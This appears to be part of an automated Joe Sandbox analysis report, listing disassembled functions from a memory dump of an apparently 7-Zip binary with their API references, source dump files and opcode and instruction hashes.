                                                                                                                                                                                                                                                                    • Opcode ID: 3d8a056c0a63267abd0e243686ae079ed8bc33fce177f22b72a5e98546f71ced
                                                                                                                                                                                                                                                                    • Instruction ID: ad80866e4e3c00c100de2e677ba52090b14c9e43ad5943e1b1e6ba0505536ac3
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3d8a056c0a63267abd0e243686ae079ed8bc33fce177f22b72a5e98546f71ced
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2D81A135900249AFDF25DFE4C881BEEBBB5BF18308F144559F81167252DB71AE48EBA0
                                                                                                                                                                                                                                                                    Function 00C7FB35 Relevance: 1.6, APIs: 1, Instructions: 92COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C7FB3A
                                                                                                                                                                                                                                                                      • Part of subcall function 00C7FAC5: __EH_prolog.LIBCMT ref: 00C7FACA
                                                                                                                                                                                                                                                                      • Part of subcall function 00C7FC75: __EH_prolog.LIBCMT ref: 00C7FC7A
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: c26dc6b75871e21b482e09c4fb4f700407f0e124d989ccbc3ee3ae5952e79ab3
                                                                                                                                                                                                                                                                    • Instruction ID: 9996378216f1749471577482023047944cc81bd7a4b3e48db0c4d1607965e91e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c26dc6b75871e21b482e09c4fb4f700407f0e124d989ccbc3ee3ae5952e79ab3
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6A413C71845784CED312DF69C094ADAFFE0BF29310F49C8AED49A57762D770A608DB22
                                                                                                                                                                                                                                                                    Function 00C66E66 Relevance: 1.6, APIs: 1, Instructions: 92COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 11e2427bc6fb626741218dc93bc0606ea1aed066d04a6f213d374e73a67f0cb1
                                                                                                                                                                                                                                                                    • Instruction ID: 2f7de8e982a10fb757433ecf64a3bde8161aa7bcfbccbc07d21791c3217ef125
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 11e2427bc6fb626741218dc93bc0606ea1aed066d04a6f213d374e73a67f0cb1
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F231C07AA00216CFCB24DF54C4C0AAEB3B5FF89354F104159E962AB351DB31EE16CB90
                                                                                                                                                                                                                                                                    Function 00C66CD8 Relevance: 1.6, APIs: 1, Instructions: 80COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C66CDD
                                                                                                                                                                                                                                                                      • Part of subcall function 00C689EE: __EH_prolog.LIBCMT ref: 00C689F3
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 5123f29d56e9be3bf0af07687cfecefed742720454271cd1e7b08b75f331c3c7
                                                                                                                                                                                                                                                                    • Instruction ID: 6d48417d1cc801c87d3bab35bc3bdecbb7f319559632b1fcbd3f2a0c5f016123
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5123f29d56e9be3bf0af07687cfecefed742720454271cd1e7b08b75f331c3c7
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2431E2B5E00B4AAFCB60DFA9C580999F7F0FF08310B10462AE95693B00E770B951CF90
                                                                                                                                                                                                                                                                    Function 00C672EC Relevance: 1.6, APIs: 1, Instructions: 79COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 4e9330f8e1a8f778e3f926649007d3ba416c4d21c76dac064d38a2148ebd7fe8
                                                                                                                                                                                                                                                                    • Instruction ID: 8cbcb5a174a584f08de4a84d4582667bb9c4d362b8bdd1c8b19702a3ff504050
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4e9330f8e1a8f778e3f926649007d3ba416c4d21c76dac064d38a2148ebd7fe8
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 80310CB1D04209DFCB24EF95C9918EEBBB5FF85368B208629E82667351D7305E41DB60
                                                                                                                                                                                                                                                                    Function 00C77D47 Relevance: 1.6, APIs: 1, Instructions: 75COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C77D4C
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D4AA: __EH_prolog.LIBCMT ref: 00C5D4AF
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D4AA: GetCurrentProcess.KERNEL32(?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D4C1
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D4AA: OpenProcessToken.ADVAPI32(00000000,00000028,?,?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D4D8
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D4AA: LookupPrivilegeValueW.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 00C5D4FA
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D4AA: AdjustTokenPrivileges.KERNELBASE(?,00000000,00000001,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D50F
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D4AA: GetLastError.KERNEL32(?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D519
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prologProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1532160333-0
                                                                                                                                                                                                                                                                    • Opcode ID: cf9db7af9a70931ca52f6bae23ffc9e421b7b92f6287941fd0c6537233f1203f
                                                                                                                                                                                                                                                                    • Instruction ID: 258927de271d70b645e58a02c73a74884349d452039c7a0bf0d3c6f5ddf89ded
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cf9db7af9a70931ca52f6bae23ffc9e421b7b92f6287941fd0c6537233f1203f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 894185B5901B80CED731DF6A8184287FBF0BB1A318F908A5EC1EA57A41C774A149DF5A
                                                                                                                                                                                                                                                                    Function 00C67BD3 Relevance: 1.6, APIs: 1, Instructions: 56COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C67BD8
                                                                                                                                                                                                                                                                      • Part of subcall function 00C673C3: __EH_prolog.LIBCMT ref: 00C673C8
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$free
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2654054672-0
                                                                                                                                                                                                                                                                    • Opcode ID: ba4be644eade3d1661fde1b8affe4f7219dd6b23a35eaa80e4541f10bed1ae91
                                                                                                                                                                                                                                                                    • Instruction ID: f752697ef4341615773a52cb39aefb37b3bd37bc6390a14d5d4fbf289b15e56f
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ba4be644eade3d1661fde1b8affe4f7219dd6b23a35eaa80e4541f10bed1ae91
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 4011A772A00209ABCF11EF94DC81AEFBB79EF48324F10412AF81163251D774AE55EB90
                                                                                                                                                                                                                                                                    Function 00C66FFB Relevance: 1.6, APIs: 1, Instructions: 53COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C67000
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D4AA: __EH_prolog.LIBCMT ref: 00C5D4AF
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D4AA: GetCurrentProcess.KERNEL32(?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D4C1
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D4AA: OpenProcessToken.ADVAPI32(00000000,00000028,?,?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D4D8
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D4AA: LookupPrivilegeValueW.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 00C5D4FA
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D4AA: AdjustTokenPrivileges.KERNELBASE(?,00000000,00000001,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D50F
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5D4AA: GetLastError.KERNEL32(?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D519
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prologProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1532160333-0
                                                                                                                                                                                                                                                                    • Opcode ID: ee465b43408a6ba9f70f91e2d1460a818d107ff2bf93a16213ff665a54e3b14b
                                                                                                                                                                                                                                                                    • Instruction ID: 72d8e467300f7380044e9d03e1970ee2fc3a365cf0b95adc3c26f8bf1c12d39a
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ee465b43408a6ba9f70f91e2d1460a818d107ff2bf93a16213ff665a54e3b14b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 432124B1805B908FC721DF6B85C1686FBF4BB19604B908A6ED09A93B12C7B4A648CF55
                                                                                                                                                                                                                                                                    Function 00C6882A Relevance: 1.5, APIs: 1, Instructions: 48COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C6882F
                                                                                                                                                                                                                                                                      • Part of subcall function 00C55C9C: __EH_prolog.LIBCMT ref: 00C55CA1
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 2bda660f3f542861acaa0c4aff3dcb5e6b4ac994f1d4692cdafd20a887d31b88
                                                                                                                                                                                                                                                                    • Instruction ID: 2e48e44b486bed4936860a6c6e779758e32c363906defd34b9921781611d6fde
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 2bda660f3f542861acaa0c4aff3dcb5e6b4ac994f1d4692cdafd20a887d31b88
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9F01DE3AD102049ADF24FBA4D8127EDBBB5AF98325F040069EC01732D2CF705A8DE698
                                                                                                                                                                                                                                                                    Function 00C6C6C5 Relevance: 1.5, APIs: 1, Instructions: 37COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C6C6CA
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A52: malloc.MSVCRT ref: 00C51A58
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A52: _CxxThrowException.MSVCRT(?,00C8CFA0), ref: 00C51A72
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionH_prologThrowmalloc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3978722251-0
                                                                                                                                                                                                                                                                    • Opcode ID: 4c3f8ebee390a9ac69be1c46a2d24dd5872cc273885c468069e25e89bb448515
                                                                                                                                                                                                                                                                    • Instruction ID: 5a0df0ef2ee1541f02b695f5f8256afa38d4826bb4a196e4c653281703719419
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4c3f8ebee390a9ac69be1c46a2d24dd5872cc273885c468069e25e89bb448515
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C3F02B72A01114ABC714EB9898817EDF3A8AF56721F10412EF451E3282DBF01E04A7D4
                                                                                                                                                                                                                                                                    Function 00C774C6 Relevance: 1.5, APIs: 1, Instructions: 34COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: a9e836fcab25d21f2dfe57c05f0c3c8a1981dbbd7a78bf5f48a04ad2b5955ce0
                                                                                                                                                                                                                                                                    • Instruction ID: 09de7ef4840c0a3b8265561dedeab816087deb3f7315890e511f611c8006ea71
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: a9e836fcab25d21f2dfe57c05f0c3c8a1981dbbd7a78bf5f48a04ad2b5955ce0
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7BF090B5614205EFCB44EF98C845E9A73B9FF98319F10C569F40A9B242C770E902CF64
                                                                                                                                                                                                                                                                    Function 00C560F5 Relevance: 1.5, APIs: 1, Instructions: 32COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C560FA
                                                                                                                                                                                                                                                                      • Part of subcall function 00C55C9C: __EH_prolog.LIBCMT ref: 00C55CA1
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 9c741f0e5319bcb5939a38192716e1e0b311e35e136bb78be48e5c3df21cf8cd
                                                                                                                                                                                                                                                                    • Instruction ID: e837078ae19d3de01a2745d7b70380ddd03015761221a10e69eb67ee27f29a7a
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 9c741f0e5319bcb5939a38192716e1e0b311e35e136bb78be48e5c3df21cf8cd
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1CF02036E411089ACB04FB94E9127EDB3B4EF25316F140025EC1263292CB226F8DEB08
                                                                                                                                                                                                                                                                    Function 00C78DCB Relevance: 1.5, APIs: 1, Instructions: 31COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3519838083-0
                                                                                                                                                                                                                                                                    • Opcode ID: 166703ba975dad331ba2419c26e3bd77f65b4ab5302bc65a0ad19a329a8f5b03
                                                                                                                                                                                                                                                                    • Instruction ID: a2554878b6068acaade92c6cfffbe6538c959e651e92b82fc4a97527cfce6bf9
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 166703ba975dad331ba2419c26e3bd77f65b4ab5302bc65a0ad19a329a8f5b03
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 91F0B476900105EFCB00CF88C881EEAB3B8FF88318F14846EF105A7240C771B912CB50
                                                                                                                                                                                                                                                                    Function 00C561A7 Relevance: 1.5, APIs: 1, Instructions: 25COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C561AC
                                                                                                                                                                                                                                                                      • Part of subcall function 00C55C9C: __EH_prolog.LIBCMT ref: 00C55CA1
                                                                                                                                                                                                                                                                      • Part of subcall function 00C51A79: free.MSVCRT ref: 00C51A7D
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: H_prolog$free
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2654054672-0
                                                                                                                                                                                                                                                                    • Opcode ID: 797c28eaa172deb68e01feecbc770c597e4bb18525fe74a1de64e16d68c2b3be
                                                                                                                                                                                                                                                                    • Instruction ID: a369ec276680ec46bb0dc47a867ec22806c37dd66db86d57ccf24043178d3560
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 797c28eaa172deb68e01feecbc770c597e4bb18525fe74a1de64e16d68c2b3be
